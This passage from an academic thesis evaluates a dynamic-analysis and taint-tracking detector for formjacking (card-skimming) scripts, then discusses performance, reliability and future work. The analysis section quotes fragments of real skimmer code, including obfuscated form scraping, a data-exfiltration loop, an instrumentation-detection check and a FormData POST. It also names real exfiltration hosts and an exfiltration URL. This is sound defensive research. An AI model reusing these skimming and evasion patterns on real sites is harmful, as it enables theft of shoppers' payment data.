DevTools check and verifying that ‘onstepcheckout’ is present in the URL. The first layer of obfuscation
is a dynamic script load using a WebSocket from ‘wss://www.zendesksupp.com/V1/api’. It then instan­
tiates a dynamic function that as the second step constructs or deobfuscates the formjacker from a
large string. As a third step, the generated script is still heavily obfuscated. For example:
// var frm = document[”querySelectorAll”](”form”);
var frm = document[”” + ”querySelec” + (79 > 27 ? ”\x74” : ”\x6f”) + ”orAll”](”Hifv!o2(r­/m”

[”replace”](/[H\!\(2vi\/\­]/g, ””));

Because of the obfuscation, we do not describe the formjacker in more detail. The analysis profile,
however, shows that the formjacker exfiltrates the retrieved data using a WebSocket and thus that the
payment page simulation and formjacker triggering works as intended.

__data1 On seven domains we find three variants of the ‘__data1’ formjacker (ef38, aa75, and aee5).
The first two variants are not obfuscated, the third one features some variable renaming. On a one­
second interval, as well as on the ‘unload’ event (when a user navigates away from the current page),
the formjacker calls the function ‘getData’. If the DevTools console is not opened (based on a ‘screen
size’ check), the formjacker calls the data extraction function ‘toJSONString’. This function loops over
all input­like elements in the page, and stores all non­empty values of elements with some defined
name in the object ‘obj’. This object is returned as a JSON string. The function ‘getData’ then contains
an interesting check whether or not to exfiltrate the retrieved data:
var __data1 = ””;

/* ... */

function getData() {

var data = [];
if (window.devtools.open) return;

data = toJSONString(document.body);

if (data != __data1) {
if (__data1 != ””) {

__send(data);
}

__data1 = data;
}

return;
}

If the retrieved JSON string is different from the previously retrieved string and the previously re­
trieved string is not empty, the data is exfiltrated. The result of this structure is that the output from
the first call to ‘toJSONString’ is not transmitted. Only when some element is added to the page or
some value inside a field is changed, data exfiltration will be initiated. The payment page simulation
or formjacker triggering does not guarantee this. On four domains this appears to happen regardless,
and the data is exfiltrated using the image source technique to two small businesses’ websites. For
example:
https://allegrolearnings.com/blogs/media/?rnd=\n8999012&data=eyJmb3JtX2tleSI...

On the other domains, the formjacker is not detected, because the described check fails. Although
this effect may have been more of a bug than a feature on the side of the formjacker, it highlights a
limitation of the implemented ‘formjacker triggering’: it does not behave sufficiently as a ‘normal’ web
user. Credit card data is not incrementally entered and values are not guaranteed to change.

Undetected Formjackers
The lower half of table 7.3 is occupied by 5 different formjackers on 14 domains. These formjackers
are not detected by the data exfiltration detection solution. We study them individually.
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print.js The obfuscated script 88ad, found on six different websites, seems to contain (part of) the
front­end initialization of a formjacker. It contains two types of detection evasion: a ‘screen size’ De­
vTools check and a dynamic script load. It tries to load a third­party resource hosted at another small
business’ site (‘https://www.gunnorth.com/js/mage/print.js’) but is unavailable and the script terminates.

mcdnn.me On extremeaudio.de and hadleyrose.co.uk we find two very similar variants (f4a0 and
cbe3). The two scripts verify that they are embedded on a checkout page, explicitly ignoring the cart
page. Payment page simulation bypasses these checks and the script dynamically fetches a script
resource at ‘//mcdnn.me/12107𝑥/assets/js/widget.js’, where 𝑥 differs between the two scripts. This
resource is unavailable. As a defense mechanism, the script removes the third­party script resource
when it detects a DevTools window (using the ‘screen size’ check).

SaveAllFields On three websites we find three variants of the ‘SaveAllFields’ formjacker as de­
scribed in section 7.1.2: fc6b, 6b5b, 2bd1. The scripts are not obfuscated. The formjacker starts
in the front­end initialization phase. It attaches a hook to continue when the page is fully loaded (‘bind­
ing’). When that happens, it tries to retrieve any previously extracted data from storage. On an inter­
val, it calls the function ‘TrySend’. This performs data extraction by retrieving all input­like elements
and storing all non­empty (and short enough) values from elements with some defined name or id.
Basic data validation is performed by verifying that the retrieved data contains the right name or id
(e.g. ‘ewayau_direct_cc_number’) and that the retrieved value is long enough to be valid. The data is
then exfiltrated using the image source technique to a look­a­like domain (‘jquery­script.icu’ or ‘apis­
analytics.com’).

The detection of this formjacker fails on all sites, because requirement 8 regarding page data and
content is not fully satisfied. The issue is that the formjacker expects a specific element, without ex­
plicitly querying for it. Instead, it grabs all elements and checks whether the right one has been found.
We refer to this type of behavior as ‘greedy’.

There could be many ways for a ‘greedy’ formjacker to check for the presence of a specific element
in a page. This formjacker does so using a property access. Simplified, it looks like this:
if ($s.Data[’ewayau_direct_cc_number’] === undefined ||

$s.Data[’ewayau_direct_cc_number’].length < 11) return;

We implement a feature to spoof suspicious property accesses using the list previously used to
identify suspicious queries (section 5.6.1). On silverphoenixmartialarts.com the formjacker is indeed
detected. The variant on cheapcanadagoosejacketsoutlet.com, however, is not detected because the
targeted field ‘billing:firstname’ was not defined as suspicious. This clearly illustrates the issue with this
approach. On changeroomshop.com(.au) the taint analysis instrumentation fails, causing some infinite
recursion. Although the exfiltration is detected, the log file is not written out because the page does not
load in time.

removeCookie On glamulet.com and glamulet.co.uk we find an adapted version of the SaveAll­
Fields formjacker. It includes additional logic to inject a custom form. The formjacker is hosted at
https://analytics­ssl.com. The formjacker is not detected because we do not pass its front­end initial­
ization phase. It detects our instrumentation and deliberately stalls the page. The following snippet is
found:
const _0x2b8851 = function() {

// \w+ *\(\) *{\w+ *[’|”].+[’|”];? *}
const _0x27bc35 = new RegExp(’\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\

x22];?\x20*}’);
return _0x27bc35[’test’](_0x3a7254[’removeCookie’][’toString’]());

};

As the regular expression does not match newlines it returns true on the original implementation of
removeCookie:
’removeCookie’:function(){return’dev’;}

Whereas it returns false on the instrumented (rewritten) version:
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’removeCookie’: function () {
return ’dev’;

},

In the latter case, it launches into a non­terminating loop creating an infinitely growing array that
prevents the page from successfully loading. We temporarily bypass this check by changing the for­
matting scheme of the instrumented code generator to ‘minify’. The formjacker now proceeds, but still
fails to reach its data extraction phase. As this is also the case when the payment process is manually
performed, the formjacker itself may be the issue. Due to the heavy obfuscation, we are unable to
confirm this with great certainty.

FormData On hadleyrose.co.uk we manually identify another formjacker. This formjacker is heavily
obfuscated, but we manually confirm that it injects a custom form. Furthermore, it exfiltrates retrieved
data to the first­party URL https://www.hadleyrose.co.uk/checkout/onepage/savePayment/. Deobfus­
cated, the data exfiltration code looks as follows:

var form = new FormData;
/* ... */
form[’append’](’statistics_hash’, btoa(JSON[’stringify’](data)));
url = ’checkout/onepage/savePayment’;
var xhr = new XMLHttpRequest;
xhr[’open’](’POST’, url, true);
xhr[’send’](form);

Unfortunately, the tainting instrumentation does not support FormData and the call to ‘append’ re­
moves any present taint. As such, this formjacker is not detected.

7.2.3. Discussion
For three out of the eight surveyed formjackers, the data exfiltration detection proves data extraction
and exfiltration (for most of their variants). Those that remain undetected suffer from one or more of
the following issues:

Faulty or Offline
On 11 domains the (presumed) formjacker is unable to steal any credit card data, regardless of the
presence of our detection solution. They are partially offline or contain some programming error. This is
a drawback of dynamic analysis in general, but it is especially problematic for data exfiltration detection,
as this is the last phase in the formjacking process.

Incomplete Payment Page Simulation
For one formjacker, found on four domains, the injected elements do not sufficiently match the form­
jacker’s expectations (requirement 8). The issue is that the formjacker is ‘greedy’: grabbing a set of
elements using a very general query but expecting the presence of very specific elements. As shown, it
is possible to implement support for typical implementations. However, as noted before, there are many
such implementations possible, and complete support is difficult. Furthermore, resorting to blacklists to
identify suspicious queries is fundamentally a limited approach as the list is unlikely to be exhaustive.

Incomplete Formjacker Triggering
One formjacker, found on seven domains, depends on a more realistic, step by step, entering of data
in the fields. Its specific issue may be easily resolved, for example, by changing the content of a field
each time it is queried.

This problem, however, highlights a more general issue: the detection solution does not behave
sufficiently like a human. We sacrificed stealth for a more convenient and faster method: instead of
interacting with the page such that the right events are triggered, we directly execute the attached
callbacks. At the same time, this also changes the order in which events are triggered, as well as how
often and which data is available at that time. As such, a better solution might be to fire callbacks more
than once, with growing available content, preserving the order in which these callbacks would have
been triggered.
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First­party Exfiltration
Within the surveyed formjackers, two types of exfiltration URLs are most common. First, those that look
benign at first glance. They closely resemble well­known benign URLs, such as ‘google­analytics.com’,
or contain terms that would be associated with benign behavior, such as ‘jQuery’. Second, exfiltration
to websites of other businesses, presumably also compromised.

A less common, third, type is more problematic. Up to this point, the data exfiltration detection
proves data extraction and data exfiltration. However, to distinguish between a legitimate or illegitimate
transaction it is important to identify whether the data is exfiltrated to a third party or not. For most of
the exfiltration URLs in table 7.3, this is a straightforward task, as it pertains to a third­party domain.
On one domain, however, the formjacker variant performs exfiltration to the first­party domain, i.e. the
domain that is being crawled. This may prove to be a challenge in terms of scalability.

Incomplete Tainting Instrumentation
Finally, the tainting instrumentation suffers from a few issues. First of all, one formjacker is able to
detect the instrumentation. This is a disadvantage of source code rewriting that was considered in
section 5.6.2, but the results show that this theoretical disadvantage is also a problem in practice. And
secondly, the instrumentation is incomplete. The implementation requires manually identifying and
implementing support for native functions. As such, not all methods are covered. On one domain we
find a formjacker using such an unsupported method. Finally, unforeseen interaction of the tainting
instrumentation with real­world JavaScript causes page timeouts. Given big objects, the recursive ‘is
tainted’ check may be too slow for a page to load in time.

Conclusion
Concluding, data exfiltration may be used to detect formjackers. The given implementation satisfies as
a proof­of­concept, but the number of implementation issues we identify suggests it should, however, be
tested more thoroughly and improved upon. Finally, a major unsolved challenge is to identify malicious
intent in data exfiltration, both exfiltration to a third party without malicious intent, and to a first­party
with malicious intent.

7.3. Reliability and Performance
Finally, we evaluate the reliability and runtime performance of the implemented instrumentation. We
discuss our methodology, the performance in terms of measured runtime, and finally the reliability by
identifying why certain analysis profiles are not retrieved.

7.3.1. Methodology
We randomly select a set of 250 URLs from the Alexa Top 1000 and crawl them three times. Once
without any instrumentation enabled, once with the native API usage monitoring enabled, and once
with both native API usage monitoring and data exfiltration detection enabled. The uninstrumented
page visit terminates immediately after the ‘load’ event. This is the point where, with instrumentation
enabled, the formjacker triggering process would have started.

7.3.2. Runtime Performance
Figure 7.2 shows a comparison between the three crawls in terms of runtime performance and instru­
mentation failures. The median page load time increases by 25% from 1.7 s to 2.1 s with native API
usage monitoring. We, therefore, conclude that the combined overhead of the implemented payment
page simulation, formjacker triggering, and prototype patching is small.

With data exfiltration detection enabled, the median page load time increases by 555% from 1.7 s
to 11.1 s. This overhead is significant and may be explained by the fact that relatively costly source
code rewriting operations are applied. At 11 seconds per URL, the overhead may still be deemed to
be within reasonable bounds.

7.3.3. Reliability
In accordance with prior results, we find that the implementation is not perfect. In combination with
native API monitoring, we are able to retrieve an analysis profile for 85% of the URLs. Figure 7.2
shows that compared to the baseline, about half of the failing 15% is caused by the instrumentation.
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The other half are issues that are not directly caused by the instrumentation. These include CAPTCHAs
and servers that are not responding in time (‘aborted’), or very slowly (‘timeout’).

The figure also shows that the data exfiltration detection fails more frequently: an analysis profile is
retrieved in about 69% of the cases. Comparing the type of errors with the baseline, three categories
of errors may be attributed to the API or exfiltration instrumentation: destroyed execution contexts (+8),
timeouts (+46), and RangeErrors (+10). Thus, in 26% of the URLs, an analysis profile is not retrieved
as a direct result of instrumentation failure.

These issues highlight that the implementation may be improved upon in terms of reliability. A major
improvement may be made by retrieving an analysis profile just before the timeout expires. However, to
prevent timeouts the underlying issues have to be tackled. For one, the source code rewriting process
is a relatively time­consuming task. Furthermore, as we have seen before in section 7.2.3, unintended
interaction of the instrumentation with the page can cause the page to hang indefinitely. TheRangeError
(‘Maximum call stack size exceeded’) is a more specific example of this issue.

The destroyed execution contexts may be placed in the same category. The formjacker triggering
process may be responsible for them, as this process blindly calls callbacks. Some of them may trigger
an unexpected navigation and Puppeteer appears to be unable to deal with them.
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Figure 7.2: Comparison between three crawls of 250 URLs in terms of runtime performance and instrumentation failures. The
left figure shows a boxplot of all page visits per instrumentation type. Its y­axis has been limited for readability; some fraction
would have been visible between 90 seconds and the page timeout of 120 seconds. The right figure shows the number of URLs
where some ‘fatal’ failure occurs, i.e. where we are (or would be, without any instrumentation) unable to retrieve an analysis
profile.

7.4. Discussion
In chapter 5 we formulated three requirements for our formjacking detection solution: elicit malicious
behavior in formjackers, retrieve a dynamic analysis profile fromwhich it is possible to infer the presence
of formjackers, and do so with low runtime overhead.

A runtime analysis of the native API usage monitoring shows that the proposed payment page sim­
ulation, formjacker triggering, and prototype patching incur a low median overhead of 25%. Although
it is possible to find formjackers using the proposed indicators, a significant fraction of the indicators
are also found within a benign context. As an exception, the ‘Firebug’ indicator appears to correlate
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well with the presence of formjackers, but on itself, it offers only a narrow view within the wide range
of formjackers that may be constructed. Furthermore, we note that, in general, an indicator­based ap­
proach may be suboptimal given our objective to enable a large­scale survey, as it does not provide
concrete proof as to the presence of formjackers.

Although the proposed steps to elicit malicious behavior in formjackers incur a low overhead, the
implementation is not perfect: two problems prohibit malicious behavior from surfacing on roughly
one­third of the studied URLs. First, we stumble upon a class of ‘greedy’ formjackers and we are
unable to adequately match their expectations with respect to page content. Similarly, we find a class
of formjackers where the formjacker triggering process fails because it does not behave sufficiently
‘human­like’. We propose a solution for the latter but have to note that resolving the issue with greedy
formjackers is difficult within the proposed concept of payment page simulation.

Onmost of the URLswhere elicitingmalicious behavior succeeds and the formjacker is not (partially)
offline or faulty, the data exfiltration detection is able to prove the existence of a formjacker. This holds
for roughly one­third of the surveyed URLs. Where data exfiltration detection fails, the issue is either
that the tainting instrumentation is incomplete, a detection evasion­related client­side check fails, or
that the analysis profile fails to be retrieved. Largely, the underlying problem is that we are applying
source code rewriting: a tricky and runtime inefficient task. On the other hand, this also means there is
room for improvement: the issues may be resolved by iterating on the implementation, or by switching
to an out­of­band tainting solution.

More fundamentally, data exfiltration detection suffers from two issues that may bemore problematic
to resolve. Because a successful data exfiltration is a prerequisite for data exfiltration detection, the
roughly one­third of the surveyed formjackers that are either partially offline or faulty, is problematic.
Furthermore, although only on one URL, we find a formjacker that is performing first­party exfiltration.
We note that identifying malicious intent in this class of formjackers is challenging.

Data exfiltration detection has two strong feats that allow it to scale well. First, it allows fully au­
tomated identification of formjackers. Second, conceptually, the identification of formjackers is inde­
pendent of how the formjacker is constructed because it ties into the required data exfiltration step.
In practice, however, we detect only one­third of the surveyed formjackers. We, therefore, regard our
implementation more of a proof of concept that highlights limitations of data exfiltration detection, and
dynamic analysis to detect formjackers in general.
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Conclusion

Because at least hundreds of thousands of people have fallen victim to online credit card skimming
in the past few years, we argued in the introduction that a comprehensive study into the prevalence
and inner workings of formjackers on the web would be of great value. We also identified that the
groundwork for such a study, a general­purpose and scalable detection solution for formjackers, seems
to be missing. We proposed dynamic analysis of client­side JavaScript as a possible solution. In this
chapter, we will discuss our findings, answer the research questions as stipulated in the introduction
and make some suggestions regarding future work.

8.1. Discussion
As noted before, the first major challenge in subjecting formjackers to dynamic analysis is bringing their
malicious behavior to the surface. In this section, we will first discuss our solution for this issue. Then,
we will cover our findings concerning the feasibility of using dynamic analysis as a detection solution
for formjackers.

8.1.1. Eliciting Malicious Behavior
As an answer to research question 1 as to which conditions have to be satisfied to elicit malicious
behavior in formjackers, we concluded that when visiting a website under investigation, four points are
important. First, one must visit the right page, in our case the payment page. Then, one must do
so sufficiently stealthy and avoid triggering any detection evasion tripwires in the form of front­end or
back­end checks. And finally, one requires a human or interactive component: the page must contain
the right content and any asynchronous callbacks must be executed. In practice, however, we make
some trade­offs regarding the fulfillment of these requirements. We discuss them here.

Visiting the Right Page
We do not visit the payment page, because in general, this would be difficult and slow. In some cases,
such an approach would even be unfeasible at scale due to login procedures. Instead, we target the
cart page, introducing the limitation that formjackers that are solely attached to a single page may
remain unnoticed.

Stealth
Regarding stealth, we opt for automating a ‘full­fledged’ web browser. This is an important step in
‘behaving like a normal web browser’. We also spoof the referrer and window.location. Furthermore,
we identify various methods to perform debugger detection and implement countermeasures where
necessary. Although we believe this to be a major contribution, it does not make the crawler completely
stealthy. As we are resorting to in­band instrumentation and we are not actively trying to hide the
modifications, our instrumentation is visible from client­side JavaScript.

Then, we are spoofing the window.location property, but have to resort to a ‘best effort’ guess in
regard to some JavaScript operations, such as ‘strict equals’. Additionally, other properties aside from
‘location’ may give away the page’s URL. For those, we are not performing such as guess.

67
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Finally, we are using Chromium in a ‘headless’ configuration to spare resources. We are only doing
the very minimum, such as spoofing the user agent, to avoid the headless browser from being detected.
That said, many of these limitations have not been observed to be actively exploited in our analysis of
real­world formjackers.

Content
To fulfill the formjacker’s expectations with respect to the page’s content, we implement multi­step
DOM injection. We try to predict the expectations of the formjacker by looking at the DOM queries it is
making. When it queries for an element that does not exist yet, we inject it, maintaining the structural
expectations by looking at the parent node. Unfortunately, DOM queries do not always fully portray
the expectations of a formjacker. A major issue is the injection of the wrong type of element, causing
‘undefined properties’. We resolve this by spoofing those properties on the prototype of the elements.

A yet unsolved issue is the class of ‘greedy’ formjackers, which we observe in our sample of real­
world formjackers. The formjacker uses a very general query to retrieve a selection of elements from
the page, expecting specific elements to be present. This general query does not supply sufficient
information for us to accurately predict the expectation of the formjacker.

The formjacker’s expectations in regard to the data inside those elements is an additional chal­
lenge. We resort to the simple tactic of returning some valid credit card number whenever the value of
some input­like field inside the page is queried. This may fail if the formjacker is performing extensive
validation. In practice, we have only observed very minimal data validation, where this strategy was
sufficient. We do find, however, that our implementation ignores the role time plays in normal user
interaction with a webpage. In our approach, all fields appear to the formjacker to be pre­filled, not
changing in time, which has shown to be insufficient, at times.

Asynchronous Callbacks
Finally, to execute asynchronous callbacks we implement ‘formjacker triggering’. Instead of a slow
and cumbersome interaction with the page, we directly execute those callbacks, almost completely
removing any timeout­related delays. However, the formjacker analysis in chapter 7 showed that this
approach may be too simplistic in some cases: callbacks may have to be executed more than once.
Although this has not been observed in our formjacker sample, it may also be necessary to maintain
the original order in which the callbacks would have been executed. Finally, to directly execute these
callbacks, we are mimicking the event object. This simulated event object may be incomplete. As an
example, we are omitting the ‘data’ property.

8.1.2. Dynamic Analysis as a Detection Solution
To figure out an answer to research question 2, as to what extent it is feasible to apply dynamic analysis
to detect formjackers, we implement two types of dynamic analysis. First, we explore monitoring native
API usage and conclude that given the chosen indicators, this approach would be insufficient due to
the large number of false positives and the resulting required manual analysis. Although this result may
certainly be improved, we note that the lack of proof that a script is indeed a formjacker is a fundamental
limitation of an indicator­based approach.

Instead, we explore a second type of dynamic analysis and implement data exfiltration detection
that should provide this proof. We implement support for on­the­fly source code rewriting to add support
for taint propagation to JavaScript. We show that by tainting values retrieved from input­like fields, it is
possible to detect data exfiltration in formjackers.

To what extent it is feasible to detect formjackers using this type of dynamic analysis, depends on
how well it works in terms of false positives and false negatives, and on the scalability of the solution.
We do not identify any false positives but find quite a number of undetected formjackers. Themain issue
is that the given implementation is not perfect: is it incomplete and does not cover taint propagation
in all scenarios. Additionally, as it is an in­band implementation the instrumentation can be, and is,
detected by malicious JavaScript.

As we believe these issues to be solvable by improving upon the implementation, the feasibility
largely depends on the fundamental question as to whether malicious intent can be proven from a
detected data exfiltration. We find illegitimate exfiltration to first­party domains and theorize that benign
exfiltration to third­party domains may exist as well.
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Finally, as a general limitation of dynamic analysis, a formjacker must be largely functional to be
detected. Worse, data exfiltration detection requires the formjacker to be fully functional. It seems a
non­negligible portion of formjackers is not. Unfortunately, these types of infections will fly under the
radar of the dynamic detection solution, as proposed here.

In summary, as a concept, it is most certainly possible to detect formjackers using dynamic analysis.
We have shown that by applying taint analysis, data exfiltration may be detected. In many cases, such
an exfiltration also implies the presence of a formjacker. Additionally, we have shown that the detection
mechanism scales well: it is fast and automated. And although our implementation is not perfect,
we believe the issues not to be fundamental problems of the concept, but rather solvable ones. Yet,
there remain some fundamental limitations of the proposed approach, making it impossible to detect all
formjackers. Identifying malicious intent is often, but not always, possible. As such we wish to conclude
that, albeit with some blind spots, it is feasible to detect formjackers using dynamic analysis.

8.2. Future Work
As mentioned in the introduction, our overarching research goal is to lay the groundwork for an internet­
scale study of formjacking on the web. We would propose the following steps to expand on this foun­
dation to enable such a study.

Robustness
First, improving the robustness of the detection solution. Because the data exfiltration detection de­
pends on a successful exfiltration, every formjacker phase in­betweenmust successfully complete. Our
analysis shows that too frequently this is not the case. For the data extraction phase, for one, to be
successfully completed more frequently, the expectations of the formjacker must be better predicted
by solving the ‘greedy’ issue. Then, the process to trigger the asynchronous parts of the formjacker
should be improved upon by more closely following a ‘normal’ payment process. Either by falling back
on really interacting with the page to fill out the required forms or by better mimicking this process by
considering the ‘normal’ sequence of events. Furthermore, the tainting instrumentation should be ex­
tended to support syntax and native functions that may be present in formjackers. Ideally, implementing
full support to make sure every taint is propagated. And finally, the detection solution should be tested
with a larger body of real­world websites and improved upon with respect to unintentional interaction
with them.

Instead of improving the current implementation, a (partial) re­implementation could be considered.
To some extent, an out­of­band implementation may be better suited to avoid that malicious JavaScript
is able to detect the instrumentation. Especially an out­of­band tainting solution would be useful, as
such an implementation does not require manually identifying and patching native functions, individu­
ally.

Comprehensiveness
Then, improving the comprehensiveness of the detection solution: catching every last formjacker. On
the client side, the challenge is identifying malicious intent in first­party data exfiltration. Then, solv­
ing the ‘fundamental issues’ to our approach may be useful. These are the ‘dysfunctional’, the ‘pay­
ment page’, the back­end, and the externally injected formjackers. These variants require different
approaches, if detectable at scale at all. Future work may benefit from combining different approaches.

Scale
And finally, we envision scaling up and performing a large­scale crawl to study the prevalence of form­
jacking on the web. We wish for the used techniques to be identified and understood by studying the
collected formjackers and for infections to be followed closely by repeated measurements. We hope
this may shed some light on the digital health of the e­commerce ecosystem as a whole and contribute
to its improvement in the long term.
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